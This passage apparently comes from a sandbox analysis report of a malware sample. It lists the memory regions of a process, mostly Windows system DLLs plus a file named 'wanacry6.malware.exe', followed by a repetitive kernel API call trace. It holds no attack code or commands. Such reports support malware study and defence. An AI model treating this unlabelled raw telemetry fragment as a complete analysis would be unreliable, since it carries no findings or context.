mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8697 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8698 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8699 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8700 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8701 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8702 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8703 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8704 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8705 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8706 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8707 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8708 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8709 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8710 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8711 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8712 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8713 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8714 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8715 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8716 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8717 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8718 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8719 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8720 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8721 start_va = 0xad71b40000 end_va = 0xad71cfffff entry_point = 0x0 region_type = private name = "private_0x000000ad71b40000" filename = "" Region: id = 8722 start_va = 0xad716b0000 end_va = 0xad716b6fff entry_point = 0x0 region_type = private name = "private_0x000000ad716b0000" filename = "" Region: id = 8723 start_va = 0xad716c0000 end_va = 0xad716f3fff entry_point = 0xad716c1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8724 start_va = 0xad71b40000 end_va = 0xad71cc7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71b40000" filename = "" Region: id = 8725 start_va = 0xad71cf0000 end_va = 0xad71cfffff entry_point = 0x0 region_type = private name = "private_0x000000ad71cf0000" filename = "" Region: id = 8726 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8727 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8728 start_va = 0xad71d00000 end_va = 0xad71e80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71d00000" filename = "" Region: id = 8729 start_va = 0xad71e90000 end_va = 0xad7328ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71e90000" filename = "" Region: id = 8730 start_va = 0xad716c0000 end_va = 0xad716c0fff entry_point = 0x0 region_type = private name = "private_0x000000ad716c0000" filename = "" Region: id = 8731 start_va = 0xad716d0000 end_va = 0xad716d0fff entry_point = 0x0 region_type = private name = "private_0x000000ad716d0000" filename = "" Region: id = 8732 start_va = 0xad716e0000 end_va = 0xad716e0fff entry_point = 0xad716e0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8733 start_va = 0xad716f0000 end_va = 0xad716f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad716f0000" filename = "" Region: id = 8734 start_va = 0xad73290000 end_va = 0xad7344ffff entry_point = 0x0 region_type = private name = "private_0x000000ad73290000" filename = "" Region: id = 8735 start_va = 0xad73290000 end_va = 0xad73349fff entry_point = 0xad732bc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8736 start_va = 0xad73440000 end_va = 0xad7344ffff entry_point = 0x0 region_type = private name = "private_0x000000ad73440000" filename = "" Region: id = 8737 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8738 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8739 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8740 start_va = 0xad716e0000 end_va = 0xad716e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad716e0000" filename = "" Region: id = 8741 start_va = 0xad73290000 end_va = 0xad7337ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad73290000" filename = "" Region: id = 8742 start_va = 0xad716e0000 end_va = 0xad716e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad716e0000" filename = "" Region: id = 8743 start_va = 0xad71700000 end_va = 0xad71706fff entry_point = 0x0 region_type = private name = "private_0x000000ad71700000" filename = "" Region: id = 8744 start_va = 0xad73450000 end_va = 0xad7354ffff entry_point = 0x0 region_type = private name = "private_0x000000ad73450000" filename = "" Region: id = 8745 start_va = 0xad73550000 end_va = 0xad73650fff entry_point = 0xad7357fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8746 start_va = 0xad71710000 end_va = 0xad71710fff entry_point = 0x0 region_type = private name = "private_0x000000ad71710000" filename = "" Region: id = 8747 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8748 start_va = 0xad73550000 end_va = 0xad73824fff entry_point = 0xad73550000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8749 start_va = 0xad71720000 end_va = 0xad71722fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71720000" filename = "" Region: id = 8750 start_va = 0xad71720000 end_va = 0xad71720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71720000" filename = "" Region: id = 8751 start_va = 0xad71730000 end_va = 0xad71730fff entry_point = 0x0 region_type = private name = "private_0x000000ad71730000" filename = "" Region: id = 8752 start_va = 0xad73830000 end_va = 0xad73d21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad73830000" filename = "" Region: id = 8753 start_va = 0xad73d30000 end_va = 0xad74b9ffff entry_point = 0xad73d30000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8754 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8755 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8756 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8757 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8758 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8759 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8760 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8761 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8762 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8763 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8764 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8765 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8766 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8767 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8768 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8769 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8770 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8771 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8772 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8773 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8774 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8775 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8776 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8777 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8778 start_va = 0xad71cd0000 end_va = 0xad71cd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71cd0000" filename = "" Region: id = 8779 start_va = 0xad74ba0000 end_va = 0xad74db7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad74ba0000" filename = "" Region: id = 8798 start_va = 0xad71cd0000 end_va = 0xad71cd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71cd0000" filename = "" Region: id = 8799 start_va = 0xad71ce0000 end_va = 0xad71ce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71ce0000" filename = "" Region: id = 8800 start_va = 0xad73380000 end_va = 0xad733c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad73380000" filename = "" Region: id = 8801 start_va = 0xad74dc0000 end_va = 0xad77c55fff entry_point = 0xad74dc0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8802 start_va = 0xad77c60000 end_va = 0xad78059fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad77c60000" filename = "" Region: id = 8803 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8804 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8805 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8806 start_va = 0xad78060000 end_va = 0xad78169fff entry_point = 0x0 region_type = private name = "private_0x000000ad78060000" filename = "" Thread: id = 808 os_tid = 0x984 [0126.029] EngAllocMem () returned 0xfffff90142521030 [0126.029] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.029] MmMapViewOfSection (in: SectionObject=0xffffc00001590e20, Process=0xffffe0000137f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff96000000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xad74ba0000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff90142521370) returned 0x0 [0126.029] EngCreateBitmap () returned 0x2a050584 [0126.029] EngAssociateSurface () returned 0x1 [0126.029] EngLockSurface () returned 0xfffff9014088acb8 [0126.029] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001235120 [0126.029] KeInitializeEvent (in: Event=0xffffe00001235138, Type=0x1, State=0 | out: Event=0xffffe00001235138) [0126.029] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.036] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0126.062] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.064] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.064] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.064] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.065] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.066] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.067] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.067] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.067] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.068] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.068] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.068] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.068] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.068] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.069] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.069] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.069] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.069] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.069] 